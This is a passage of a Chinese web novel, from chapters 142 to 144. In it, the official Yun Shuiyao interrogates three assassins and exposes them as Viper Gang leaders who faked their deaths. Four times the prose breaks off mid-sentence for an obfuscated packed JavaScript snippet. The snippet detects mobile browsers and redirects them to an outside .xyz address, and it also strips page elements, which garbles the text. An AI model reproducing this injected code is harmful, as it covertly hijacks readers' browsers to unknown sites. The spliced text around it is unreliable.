云水谣稍加思索,便明白了。让黄四牛的尸体暴露,就可以把黄四牛之死归因于那几个村民身上。官府抓住了杀人的村民,自然就不会继续深究。黄四牛身上消失的钱,自然也着落在几个村民身上,无人会怀疑是蝮蛇帮拿走了钱。 而且,由这个渔夫亲自把尸体交到衙门,别人自然不会想到,这渔夫竟然是犯案者之一。 这个渔夫,还有那跛足老者、中年农夫,都被押上了公堂。他们都被点住了穴道,而且被绑住,不用担心他们会逃。 云水谣又命人拿来镣铐,把这三个刺客反手拷住,这样就更保险了。 而把他们抓回来的暗卫们,作为证人,都站在公堂上,随时准备为云水谣提供线索。 杜羽还有其他公务,今天是特意抽时间来帮忙的。他见刺客已经抓到,就先去自己的办公厅了,反正有什么事元景佑也能回答。 云水谣问元景佑等人:“他们身上是否有奔月环?” 元景佑道:“我刚才搜他身了,没找到。他在打斗的时候,好像把什么东西扔水里了。那个东西很小,我猜就是他的奔月环。” 暗卫甲风也道:“我们追踪这跛足老者和农夫的时候,他们俩也把什么东西扔水里了,我们没看清。后来我跳到水里查探过,但水流汹涌,什么也没发现。” 云水谣有些困惑。这三个刺客为何要不约而同地把自己的奔月环扔进水里?难道是怕暴露自己蝮蛇帮头目的身份? 云水谣决定从头审问,便问这跪着的三人:“你们叫什么名字?” 那渔夫道:“曾有财。” 那跛足老者道:“王波。” 那中年农夫道:“田六顺。” 云水谣问道:“你们是什么人,为何要行刺琼娘和佩儿,从实招来。” 没想到,渔夫曾有财道:“我和王波、田六顺都是隐姓埋名的侠客,因为痛恨琼娘、佩儿这样的女骗子,所以打算趁她们游街示众的时候,将她们杀死,也算是为民除害。如今既然没杀死她们,我们三人还落入官府手中,任打任罚随您处置。” 云水谣没想到,曾有财竟然能这样回答。他的话乍一听没什么毛病,甚至还能证明他们是好人。 云水谣拍了拍惊堂木,道:“别胡说八道!你们分明是蝮蛇帮的头目,否则,手上怎么会有奔月环?” 曾有财道:“什么奔月环?没听说过。” 跛足老者和中年农夫也道:“大人,我们跟蝮蛇帮没关系,更不是什么头目啊。” 云水谣有些讽刺地说道:“怪不得你们要把奔月环扔进水里,看来就是为了在公堂上否认身份啊。你们就算把武器丢了也没用,当时你们袭击琼娘和佩儿时,用的是银针。银针可还在的,抵赖不得。” 渔夫曾有财道:“银针确实有,但我们是通过手劲发射的,并没用到什么奔月环。大人不信的话,可以把我解开,我给您演示一下。” “你想得倒美,给我跪好!” 接着,云水谣询问堂上的暗卫和元景佑等人:“你们在追踪这几个刺客时,他们是否向你们发射过银针?” 暗卫们答道:“有,不过被我们躲过了。”“但是我们没看清他们是用手发射的,还是用奔月环发射的。”“对,他们的袖子较长,把手遮住了。” 云水谣微微皱眉。看来,也没法让这些暗卫证明,这三个刺客有奔月环了。 云水谣叫来几个衙役:“你们去牢房,把琼娘和佩儿带来。” 如果这三个刺客也是蝮蛇帮的头目,琼娘和佩儿应该认识他们。 琼娘和佩儿被带到公堂上后,云水谣问道:“你们仔细看看,可认识这三名刺客?” 谁知,琼娘和佩儿都露出茫然的神情:“大人,我们不认识。” 云水谣有些恼怒:“都什么时候了,还要互相包庇!琼娘,佩儿,我告诉你们,你们所犯的罪不小,但若是能给官府提供一些线索,是可以减刑的。要不要把握这个机会,就看你们自己了。” 琼娘道:“大人,我们确实没见过他们。不过,他们有可能是被蝮蛇帮其他人收买,来行刺我们的杀手。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913284|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“普通杀手手上怎么会有蝮蛇帮的奔月环?” 琼娘惊讶:“奔月环?不可能啊……大人,可否将他们的奔月环给我看看?” 云水谣摆了摆手:“看不了,他们都扔水里了。” 云水谣让人把琼娘和佩儿带回了牢房。 渔夫曾有财道:“大人,我们都说了不是蝮蛇帮的,您看琼娘和佩儿都不认识我们。” “她们有可能是在说谎,或者是你们易容了,所以她们才没认出来……” 说到这里,云水谣突然想到,这三个刺客脸上会不会也戴着人皮面具? 也许,这三张脸并不是他们的本来面目。 之前佩儿故意扮成中年丑女,也是怎么丑怎么来,让人不想看第二眼。这种丑脸有一个好处,就是让人不愿意看她们。这样,她们就不太会在人前露出破绽。 而这三名刺客,也是各有各的丑法。人真的能长得这么丑吗?而且这三个人还都丑到一块去了,实在太过巧合。 互相认识的三个人,都长得好看的概率很小,但是都长得丑的概率,也并不大。 所以,云水谣越想越觉得,这三个人的脸是假的! 她对元景佑吩咐了几句,元景佑点头,走到这三个人身边,观察了一下他们的脖子、脸颊、耳后等地方。 接着,元景佑突然伸出手去,把这三名刺客的脸皮一撕—— 撕开之后,只见这三名刺客竟然都长得十分清秀,不仅不丑,反而都有几分迷人。他们看着不年轻了,大约有三十来岁,脸上微微有一些胡茬。 云水谣笑道:“原来这就是你们的真面目。” 渔夫曾有财道:“大人容禀,我们三人虽然是游侠,但不想让人知道我们真实的长相,因为我们不求名利。所以平时,我们才戴上很丑的人皮面具,这不犯法吧?” 云水谣道:“戴人皮面具不犯法,可是当蝮蛇帮的帮主和副帮主,骗人钱财,害死人命,就犯法了。” 曾有财、王波、田六顺三人,都十分惊讶。 从他们的反应来看,云水谣知道自己猜对了。 不等他们说话,云水谣分析道:“我刚才在想,你们为何要把自己的奔月环扔进水中。除了想隐瞒蝮蛇帮头目的身份,还有一个原因,就是你们的奔月环是黑色的。 其他头目的奔月环都是白色的,只有帮主和两位副帮主,拥有黑色的奔月环。这本应该是个秘密,可本官就是知道了这个秘密。所以,你们三个,就是蝮蛇帮的帮主和副帮主。 至于为什么琼娘和佩儿说不认识你们,有几种可能。第一种,是她们没见过你们易容后的样子。第二种可能,是她们连你们的本来面目都没见过,更何况是易容后的长相。第三种可能,就是她们认出你们了,但不敢揭发。” 渔夫曾有财镇定道:“大人想象力真丰富,我们也是第一次听说。我刚才说了,我们三个只是侠客,因为看不惯琼娘、佩儿这样的人,才想杀了她们的。” 142.打捞 云水谣吩咐一班衙役:“你们去刚才战斗过的河流下游打捞,看能不能捞出黑色的奔月环。奔月环的样子你们应该都知道,这是一种很大众的玩具,只不过那些黑色的奔月环经过了一些改造而已,外表看来跟普通奔月环是没什么区别的。” 衙役们领命而去。 刺客王波道:“大人,您就算从河里捞出黑色的奔月环,又怎么能栽赃到我们头上?” 刺客田六顺道:“是啊,河里的东西这么多,难道挖出什么不好的东西,就要算到我们头上吗?凡事要讲证据。” 云水谣道:“别急,证据嘛,本官自然会慢慢找。来人,再把琼娘和佩儿带来。” 琼娘和佩儿被带来后,云水谣问道:“这是那三个刺客的本来面目,你们认得吗?” 琼娘和佩儿看了那三个刺客几眼,仍是有些茫然:“大人,我们没见过他们。”“原来他们也戴了人皮面具。” 从她们的表情来看,不像作假。 云水谣基本可以确定,琼娘和佩儿确实没见过帮主和副帮主的面。 因此,她问道:“琼娘,佩儿,你们是不是从来没看见过帮主和两位副帮主的脸?这件事不算什么大事,你们实话实说,也没什么影响,总可以说了吧?” 琼娘和佩儿想了想,觉得这个问题确实对蝮蛇帮没什么损害,因此便说道:“确实如此,我们没见过帮主和副帮主真正的模样。”“我们去见他们时,他们都是用黑袍蒙着全身的。” 云水谣让人把这三名刺客拉起来,让他们站好,接着又找了几件黑袍,披在三名刺客身上。 接着,云水谣问道:“琼娘,佩儿,你们见到的帮主和副帮主,是这个模样吗?” 琼娘和佩儿有些惊讶,但没有回答。 从她们的反应中,云水谣已经猜到,这三名刺客确实是蝮蛇帮的帮主和副帮主无疑了。 曾有财道:“大人,世上的人千千万,身形相似者众多,您总不能凭借身形相似这一点,就说我们是蝮蛇帮的帮主和副帮主吧?” 云水谣冷笑道:“你太着急否认了,琼娘和佩儿都还没说话呢。她们也没说你们就是帮主和副帮主呀。” 曾有财这才觉得自己说得太急了,找补道:“虽然她们没有说,但意思就是这个意思,我们都看得出来。” 云水谣道:“她们不说才有问题,这说明她们心中认为,你们三个确实跟帮主、副帮主十分相似。她们出于一些原因,不能背叛蝮蛇帮,所以才保持沉默。” 刺客王波道:“难道堂堂雍州官员,要凭借猜测定案吗?这可真是刑狱史上的一大奇观。” 云水谣道:“本官自然不会凭猜测定案。这些年,你们虽然将自己隐藏得很好,但总不至于完全没有人见过你们吧?” 接着,云水谣吩咐下属:“来人,将这三人的模样画下来,另外把他们易容后的丑样子也画下来,一共画六幅不同的图,每一张都画上几百份,流传到其他州县。对外只说抓到六名诈骗犯,如果有认识这六名诈骗犯的,上过他们的当的,全部到雍州官府来提供线索。凡是有切实证据的,雍州官府都会给予奖励。” 云水谣考虑到,蝮蛇帮的帮主和副帮主虽然是高层,但总不至于一点事情都不敢,这十几年来可能也曾亲自在外行骗。既然如此,总有一些活着的苦主能认出他们来。 而他们在外行骗,可能用的是自己本来的面貌,也可能是易容后的丑样子,为确保万一,云水谣才要把他们的本相和伪装的模样都画出来,对外也宣称是六个人,而不是三个人。因为解释他们三个易容太麻烦了,也容易引起一些不必要的隐患,还是直接把易容前和易容后说成不同的人比较方便。 反正无论苦主是被他们的哪种面貌所欺骗,最终都会聚集到雍州官府来的。 到时候,云水谣就能搜集到这三人的很多罪证,倒不愁将他们定罪的事。 云水谣只是担心,她这样跨州县办案,其他地方的官府未必肯配合。而且如果有其他地方的苦主要来雍州提供线索,可能蝮蛇帮的其他成员会将他们灭口。虽然不太可能杀光所有苦主,但有一部分人有生命危险,也足够让人担忧的。 思及此,云水谣先命人把这三个刺客收监,然后去找顾刺史商议此事。 至于作画的小吏,就先慢慢画着,反正这些肖像也不急着要。等云水谣打通了各个关节,画像应该也画得差不多了。 云水谣来到顾刺史的办公厅,顾刺史得知了她的想法后,有些为难,道:“雍州和其他州是平级的,我们这边很难让其他州县的衙门配合办案,只有大理寺、刑部有这个资格。不过,如果把这件事说成是请其他官府帮忙,也还是有运作的余地。” 云水谣问道:“您的意思是,把这件事由大事说成小事,通过一些私人关系,请其他官府合作?” 顾刺史:“可以这么说吧。大家同在官场,一些无伤大雅的事,相互配合一下也无妨。目前时间紧迫,去外面找关系已经来不及了,雍州这边,杜羽、元景佑二人倒是极佳的人选。他们二人身份尊贵,且他们家族的势力也十分广泛,其中一些州县的长官就是他们的同族或亲戚。 请他们二人出面,将蝮蛇帮三位帮主的画像交给其他州县,让其他长官帮忙张贴一下,应该比较容易办妥。我也有一些人脉,他们二人搞不定的地方,我派人去游说便是。 这样,大部分地方应该都会张贴蝮蛇帮三位帮主的画像,能找到一些苦主来提供线索也够了,反正只需要确定他们犯罪了。后续还有一些未尽事宜,大理寺自然会做一些收尾工作,我们这边无需做到尽善尽美。 其他地方若有苦主前来雍州,我也会请那些州县的长官派兵保护,以免他们被杀。” 顾刺史这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918804|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的安排,倒十分完美,云水谣心中也很感激他的鼎力相助。 云水谣道:“我这就去跟杜羽和元景佑说……只是,杜长史最近好像在忙别的公务?” 顾刺史道:“无妨,我可以让别人接手他的公务,想来他也愿意把你的事放在第一位的。” 见顾刺史似乎话里有话,云水谣心中一动,并未接茬。 顾刺史看她有些害羞,便笑道:“云大人,上次我跟你提的事,你心中如何打算?” 云水谣知道,顾刺史说的是让她嫁给杜羽或者元景佑,得到夫家势力的支持,便能较快升官的事。 不过,云水谣已经暗中投靠了太子,自然不需要通过联姻来升官了。 只是,这话不好说得太明白,云水谣便含糊其辞道:“我觉得,要想升迁,也未必要通过联姻吧……我跟孟荀是好朋友,在必要的时候,她也能拉我一把。听说她已经调到礼部担任员外郎了,皇上应该挺愿意提拔她的,到时候我也沾沾她的光。” 顾刺史捻须微笑:“如果你们的感情真的很深厚,这倒也不失为一条门路,而且这条门路还不用跪着。只是,这其中的利益牵扯,终究是比不上联姻的。” 云水谣笑道:“我知道,我不介意,总之婚姻不能是交易,对我来说不能。顾大人,您就别管我了,我自己有主意。” “我知道你主意大得很,不需要人操心。不过眼下还有一件事需要注意。联合其他州县一起办案,有越权之嫌,小心御史参你一本。你若在朝中有门路,可以尽快通个消息,别让御史盯上你。” 顾刺史说的倒确实是个问题,云水谣正色道:“多谢顾大人提醒,我会留意的。” 云水谣离开顾府后,去找了董灿大夫。董大夫之前给她治疗过情绪病,也是安正则的下属。云水谣要通知安正则,自己接下来做的事可能会被御史参奏,请太子帮忙压住御史那边。 她来到董大夫的住所时,董大夫仍像以前那样,在用竹子编东西。 他见了云水谣,笑道:“云大人来了。我刚编了一个竹灯笼,送你吧。” 董大夫递给她一个竹灯笼,这灯笼做得跟一个小彩球一样,非常可爱。云水谣一见,就爱不释手,笑道:“多谢董大夫。” 接着,云水谣说明了来意:“我想请您转告安公子,帮我一个忙。” 云水谣把事情简单说了,董大夫道:“好的,我会跟安公子联络。这点小事,太子能帮你办好。只要你能剿灭蝮蛇帮,对太子来说也是一件大好事。” 把正事说完后,云水谣就离开了董大夫家,往官府而去。 半路上,有个小孩对着一个土堆烧香,还放了一些食物在地下。 云水谣本以为他在祭奠先人,但又不像,因为这土堆太小了,而且坟墓不会建在路边的。 云水谣便问那孩子:“你在做什么?” 143.提示 那孩子有些伤心地说道:“我家养的一条狗死了,我挖了个坑把它埋了,给它送点贡品。” 云水谣道:“你真善良,想必小狗在那边也会感受到你的心意的。” “是啊,这条狗陪我好多年了,对我来说就是亲人,我不会忘记它的。” 说着,这孩子又清理了一下土堆上的杂草。 云水谣忽然想到了什么,心跳得很快。 她对赶车的车夫道:“快一些,我有急事要回县衙。” 车夫赶紧挥舞马鞭,让马跑得更快一些。 很快,云水谣便回了县衙。 她行色匆匆地往里走,不小心撞到一个人,却是元景佑。 元景佑扶了她一把,问道:“大人,您怎么了?” “把监牢里的琼娘、佩儿,还有蝮蛇帮那几个帮主全部带到公堂上,我要问话。” “现在已经快吃晚饭了,还要升堂?” “对,我有一些事必须现在确认。” 于是,元景佑带了一群侍卫,亲自去监牢提人。 很快,琼娘等人就跪在了公堂之上。 云水谣没多关注琼娘和佩儿两人,只是盯着蝮蛇帮的三位帮主看,在他们面前走来走去。 渔夫曾有财道:“大人,您究竟什么时候放我们走?我们三个真的是隐居的侠客,不是什么蝮蛇帮的帮主。” 云水谣微微一笑:“我知道,你们觉得我现在没有证据。可是,也许我知道的比你们想象的要多的多呢?” 接着,云水谣盯着曾有财、王波、田六顺三个帮主,道:“你们三个隐姓埋名,用假身份活了十几年,想必很辛苦吧?夏石,沈为安,秦度?” 这三人均是大惊失色,脸色瞬间发白,瞪大了眼睛看着云水谣。他们实在太过惊讶,以至于表情都失了控。其实他们都是老江湖了,本来不应该如此失态才对。 曾有财勉强笑道:“大人,您在说什么?您叫错了我们的名字。” 云水谣笃定地说道:“我没叫错。夏石,沈为安,秦度,你们的原名已经很久没人提起了吧?需要我提醒你们一下吗?你们三个,在十几年前本是身怀巨款、无依无靠的孤儿,结伴来到雍州,表面上开饭馆,实际上在附近买了一栋别院享乐。你们最信任的,只有三名老家仆,其余下人都是买来的,而且经常更换。 可惜好景不长,别人都以为,你们被蝮蛇帮做局,骗光了家财,绝望之下自尽了。其实,这一切只是你们的障眼法,实际上你们根本没有被骗钱。你们在老家仆面前假死,等下葬之后,又设法逃了出来。你们应该是买通了什么人,让他把你们的棺材挖出来。 说不定,你们买通的人就是柳南正,那个在传说中骗光你们家产的人,实际上他是你们的同伙。等假死遁逃后,你们三个和柳南正一起,组建了蝮蛇帮,专门骗人钱财。 所以,你们非但不是被骗的苦主,反而是最大的罪魁祸首。组建蝮蛇帮,招揽下属,用各种套路骗人钱财,应该不是你们能想出来的,背后必有高人指点和撑腰。说吧,你们背后是什么人?” 听着云水谣的分析,三人早已冷汗涔涔,甚至打起了摆子。 然而,他们并不承认。 曾有财道:“大人,我们不知道您在说什么。” 王波道:“是啊,我们不认识夏石、沈为安、秦度,只是听说过他们三人被蝮蛇帮骗尽家财,最后自尽了。” 田六顺道:“大人可真会编故事,可您就算是官员,也不能颠倒黑白,乱给我们加罪名。” 而旁边站着的衙役、元景佑、柳依依等人,听了云水谣的一番话,也吓了一大跳。但仔细想来,却合情合理。 十几年前,三名少年被骗身亡,接着蝮蛇帮横空出世。谁也想不到,恰恰是这三名已经死去的少年组建了蝮蛇帮。 所以蝮蛇帮才十分神秘,因为没有人能猜到帮主是谁。 元景佑恍然大悟:“怪不得那三个老家仆的坟墓一直有人打理,中元节那天,王波和田六顺还去扫墓了。他们自称受过老家仆的恩惠,才帮忙打理坟墓,可后来又偷袭我,行为十分奇怪。他们的身份就是那三位少年,那就可以解释得通了。” 云水谣点头:“不错,本官也是因为元护卫提及此事,才猜到三个帮主的真实身份。三个老家仆对他们来说像亲人一般重要,他们假死,老家仆信以为真,才会很快郁郁而终。所以他们三个,对老家仆始终是感到亏欠的。 即便这些年他们坏事做尽,也始终不忘偷偷祭奠老家仆,这才造成老家仆的坟茔非常干净整洁。而他们后来偷袭元景佑,是察觉到元景佑在重翻旧案,这说明官府打算重新调查十几年前三位少年之死。他们怕被官府发现破绽,最一劳永逸的方法就是杀了元景佑,让他什么也没法说出来。 可惜,正是这一奇怪的行为,引起了本官的疑心。本来,王波和田六顺如果扫墓之后就离开,没有其他动作,是不会引人怀疑的。但他们偏偏要暗杀元景佑,这说明他们心里有鬼。本官能推测出真相,也是他们自己露了破绽。” 其实,云水谣真正想到这三个帮主的身份,是刚才在路上,见到一个小孩在祭拜自家小狗的坟墓时。 那个小孩对宠物狗有很深的感情,所以才会待在狗的坟墓前,清理杂草,奉上贡品。 这个场景,就跟王波和田六顺去打扫老家仆的坟墓很相似。 可是,他们三个并不承认。 王波道:“几天前,我们确实去打扫过三个老家仆的坟,也跟这位元侍卫见过面。但我们去的理由很简单,就是受过那几个老家仆的恩惠。大人不信,我们也没办法。至于元侍卫遇袭一事,跟我们无关,我们可没暗杀过他。” 元景佑有些生气:“此事是我亲身经历,你们还敢抵赖?” 田六顺道:“这也不过是你的一面之词。谁知道你为何要陷害我们,是不是因为你家大人的政绩太少,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922763|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以你要帮着污蔑良民?” 元景佑怒道:“岂有此理!” 云水谣道:“元侍卫,无需动怒。只需派人去查探一下夏石、沈为安、秦度三个少年的坟墓,看里面有没有尸体就是了。” 元景佑道:“是,属下这就去查看。” 这三个少年的案子在十几年前也曾引起轰动,他们的埋尸之处并不是秘密,也有记录在案。 元景佑根据卷宗上所写的地址,带领一队衙役前去查看坟茔。 渔夫曾有财道:“大人,就算那三位少年的坟墓是空的,也没法证明我们就是夏石、沈为安等三人。您要是强行对应,未免有失公允。” 云水谣心生一计,道:“就算你们不是那三个少年,可若那三个少年的坟墓是空的,就证明他们假死潜逃,一定是去做坏事了。既然如此,他们三个的老家仆有疏于教导之责,没有资格好好安葬。本官要派人去毁了那三个老家仆的坟墓,以警戒世人。” 听闻此言,三个帮主都十分惊讶、愤怒。王波目眦欲裂,似乎想冲上来打云水谣。不过他被手铐脚镣束缚住了,没法动手。 倒是曾有财比较冷静,对云水谣道:“大人此举怕是不妥吧?” 云水谣道:“有何不妥?养不教,父之过。虽然那三个老家仆不是三位少爷的父母,可三位少爷父母早逝,身边各自只有一个信得过的老家仆,那么老家仆就要承担教导的责任。他们没教好自家少爷,本官不会再让他们享受香火祭祀。” 曾有财道:“可就算棺材是空的,也有很多原因,比如说是盗墓贼盗走了那三个少年的尸体。或者说他们三人当时只是暂时昏过去,没有死,但老家仆误以为死了,将他们下葬。后来他们醒来,就各自离开棺材了。” 云水谣道:“既然你们不是那三位少年,那么坟墓里有尸体的可能性很大,你又何须急着为空棺材找原因呢?而且,你找的这两个原因,都站不住脚。第一,盗墓贼只是求财,要尸体何用? 第二,如果那三个少年真的只是晕过去,三个年纪很大、经历事情很多的老家仆怎么可能搞错,把他们下葬?就算那三个少年在棺材里醒来,又是如何逃脱的?逃脱之后,为何不去找三个老家仆,而是就此失踪了?你编的理由真的挺拙劣的,下次别编了。” 曾有财不服:“大人,我只是随口一说,您为何一直挑我话中的毛病?” 云水谣道:“你们无需再说了,且等等元景佑的调查结果。” 夏石、沈为安、秦度当年是死在雍州的,坟墓也在雍州城内,元景佑半天便能来回,因此云水谣才说在这里等着。 不过,云水谣是坐着等,三个帮主和琼娘她们却是跪着等,内心感受不可同日而语。更何况三个帮主心中,还饱受煎熬。 越等下去,三个帮主脸色越差。反而是琼娘和佩儿两人,尚算平静,眼神中还带着一分探究,似乎也很好奇她们的帮主是不是十几年前号称死去的三个少年。 144.毁墓 三个帮主还想说什么,云水谣道:“本官说过,你们无需再编什么理由,给我安静等着就是。不过,你们若是想交代自己犯过的罪行,随时可以说。” 三人都坚持道:“大人,我们确实无罪行。”“我们从来没做过坏事。”“我们之前都说了,我们的身份是隐居的游侠,您总不能在没有证据的情况下,污蔑我们是罪人吧?” 云水谣冷笑:“本官已经派人去调查你们的罪证,处置你们只是时间问题。你们倒还真是沉得住气,果然是不见棺材不落泪。都给本官闭嘴!琼娘,佩儿,你们有什么要交代的吗?” 琼娘和佩儿紧闭着嘴,低着头,不看云水谣。 云水谣皱了皱眉,也没再继续问下去。 两个时辰后,元景佑回来了,禀告道:“大人,我和衙役们去查看了夏石、沈为安、秦度三个少年的坟墓,发现里面是空的,也没有任何腐尸的气味残留。这说明,当年棺材里的这三人根本没死,他们应该是找人将自己挖了出来,再将坟墓复原,从此便销声匿迹。” 云水谣问道:“可有留下其他信物?” “没有,棺材里是空的,什么都没留下。” 云水谣点头道:“你再去做一件事。你去宁州,将那三个老家仆的坟墓捣毁,并告诉围观百姓,是因为他们家的少爷们在外面作恶,所以本官才捣毁坟墓。” 元景佑虽然觉得这个命令有些奇怪,也不像云水谣一惯的风格,但还是应道:“是。” 这下,那三个帮主沉不住气了。 王波道:“大人,您不能这么做!” 田六顺道:“是啊,您身为父母官,怎么能捣毁百姓的坟墓?” 云水谣道:“为何要毁了那三名老家仆的坟墓,本官已经说过了,不再说第二遍。就算本官手段激进了些,也只是为了教化民众,让他们好好教导自家孩子不要出去做坏事。我想,其他百姓也能理解。” 王波道:“大人,您的说辞有问题!就算那三个少年没死,又怎么能证明他们在外面做坏事呢?您又怎么能凭借这个猜测,去捣毁三名老家仆的坟墓?” 云水谣道:“如果夏石、沈为安、秦度三人真的没在外面做坏事,他们从棺材里出来后的第一件事,应该是去找三名老家仆团聚,可是他们没有。他们任由那三名老家仆悲伤过度,几个月就陆续离世,足以见得,他们已经开始泯灭人性。他们在外面做的事,不能让三个老家仆知道,所以迟迟未去见老家仆。” 田六顺悲伤大吼:“不是的!当时我们在外面把一切都安顿好了,就打算偷偷去找三个家仆,给他们一个惊喜的!可是,我们去晚了,只看见了他们的坟墓……” 旁边跪着的曾有财、王波二人,见田六顺说出这话,都大惊失色。田六顺相当于招认了,他自己说完这话,也惊讶地张大了嘴。 以他的城府,本来不应该说漏嘴的,但是三个老家仆是他的情感软肋,他一时情绪激动,才会说错话。 不过,对他来说是说错话,对云水谣来说可不是这么回事。 云水谣露出成竹在胸的微笑:“这么说,你承认你们就是那三名早已死去的少年?” 田六顺把心一横:“没错,我就是夏石,曾有财和王波的本名就是沈为安和秦度。我们就是十几年前本该死去的那三个少年。” 元景佑问云水谣:“大人,现在还要去捣毁那三名老家仆的坟墓吗?” 云水谣道:“看看另外两个帮主的态度吧。” 曾有财和王波只得说道:“没错,我们就是那三个少年,我们一直没死。”“但是我们这些年,真的只是在外面做游侠,而不是在当什么蝮蛇帮的帮主。” 云水谣笑道:“好极了,你们承认了这一件事,又否认了另外一件……本官已经在叫人画你们的画像,到时候画像会传到各个州县,总有认得你们的苦主。到时候,证据只怕会像雪花一样飞过来,把你们压死。你们现在说出蝮蛇帮的事,说不定还能减刑。 死刑虽不可免,但怎么死,差别却很大。斩首也是死,凌迟也是死,如何死法,只看你们的态度了。” 那三人犹豫了一会,说道:“大人,我们确实没加入蝮蛇帮。您想叫我们招认的事,我们无从认起。” 云水谣也没看他们,直接对元景佑道:“既然他们不肯说实话,那就还是去刨了那三名老家仆的坟墓吧。这是他们自找的。” 田六顺,也就是夏石,听闻此言有些急切,想说什么,但被另外两个帮主用眼神制止。 曾有财,也就是沈为安,比较沉稳,对云水谣说道:“大人,我们不能承认自己没做过的事,哪怕您因此刨了我们那几名老家仆的坟墓,我们也不能招认。” 王波(秦度)也说道:“没错,大人就算把三名老家仆挫骨扬灰,我们也不愿被逼着认罪。大人,为了您的官声考虑,还请您不要屈打成招。” 云水谣被气笑了。她很好奇,这些人犯的嘴硬都是在同一个地方学的吗?怎么她永远碰到这种顽固不化的犯人? 不过想想也是,他们三人肯定犯了很多重罪,还可以抵赖的时候,自然要拼命抵赖,没有一个犯人会让自己去送死。 哪怕他们知道,官府可能一两个月内就能搜集到他们的罪证,那他们多抵赖一两个月也是好的。 元景佑心里忖度着,这个时候去毁了那三名老家仆的坟墓,也没什么意义,那三个帮主也不会承认罪行,反而影响云水谣的官声。 因此,元景佑再次问道:“大人,那我就不去捣毁那三名老家仆的坟墓了?” 云水谣道:“你过来,我跟你说。” 元景佑走上前去,云水谣小声道:“不用去捣毁坟墓了,我刚才只是吓吓他们,想让他们说实话。但现在看来,就算捣毁坟墓也没用,一旦三名老家仆的坟墓被毁,我就再也没有能威胁到他们的事情了,他们会更加肆无忌惮地否认罪行。不过,我不会当众说出这件事,你心里知道就好。” 元景佑点头:“属下明白。” 如果云水谣当众说不用去捣毁坟墓了,那三个帮主就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930458|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会松一口气,更不愿意招认罪行; 如果云水谣当众说要去捣毁坟墓,那三人就会破罐破摔,跟官府抗争到底; 如果云水谣当众说再等等,看看情况,那三人就会惴惴不安。 而现在,云水谣小声吩咐元景佑,那三个帮主听不见,心里就会产生很多猜测,只剩下惴惴不安、惊疑不定这一种情况。 他们不能确定云水谣会怎么做,也就不能决定自己接下来的应对策略,这对云水谣办案有利。 云水谣又小声说道:“刚才他们为了不让我去捣毁老家仆的坟墓,宁愿承认自己就是十几年前的那三个少年。可我让他们招认在蝮蛇帮的罪行时,他们又宁可让我去捣毁坟墓,也不愿招认,这是何故?” 元景佑道:“据我推测,这三个帮主应该也不是自由的,而是受人操控。操控他们的人应该有更厉害的手段,让他们不敢说实话。” 云水谣也觉得,这三个帮主背后肯定还有人。 他们三个当年只是失去双亲、十四五岁的少年,就像三只肥羊,满脑子想的都是如何保住自己的财产。 可是,他们怎么会发生这么大的转变,从羊变成了狼,直接开始骗别人的钱? 如果没人教唆、没人控制,三个普通的少年不可能变化这么大。 蝮蛇帮骗钱的很多手段,也不是那三个少年能想出来的。 云水谣说道:“我也是这么想的,只是不知道背后之人用什么手段控制他们。” 元景佑道:“我想,也许跟控制琼娘、佩儿她们的方法一样,也是孩子。” 云水谣有些惊讶:“孩子?” 随即,她觉得这个可能性很大。也许,这三个帮主也生了孩子,幕后之人控制了他们的孩子,让他们不得不听话,维持蝮蛇帮的运转。 跟自己孩子的安全比起来,三名老家仆的坟墓也就显得不那么重要了。 云水谣吩咐元景佑:“你去找两名面生的侍卫,让他们从外面冲进来找我,装作是从很远的地方来的。进来之后,让他们直接来我身边,假装跟我说什么消息,然后就离开。” 元景佑问道:“具体要说什么?” “随便,哪怕是嘴唇动一下,什么也不说也可以,只要让其他人认为,那两名侍卫告诉了我什么秘密,就可以了。” 元景佑理解了她的意思,道:“大人,我明白了,我这就去安排。” 说着,元景佑离开了公堂。 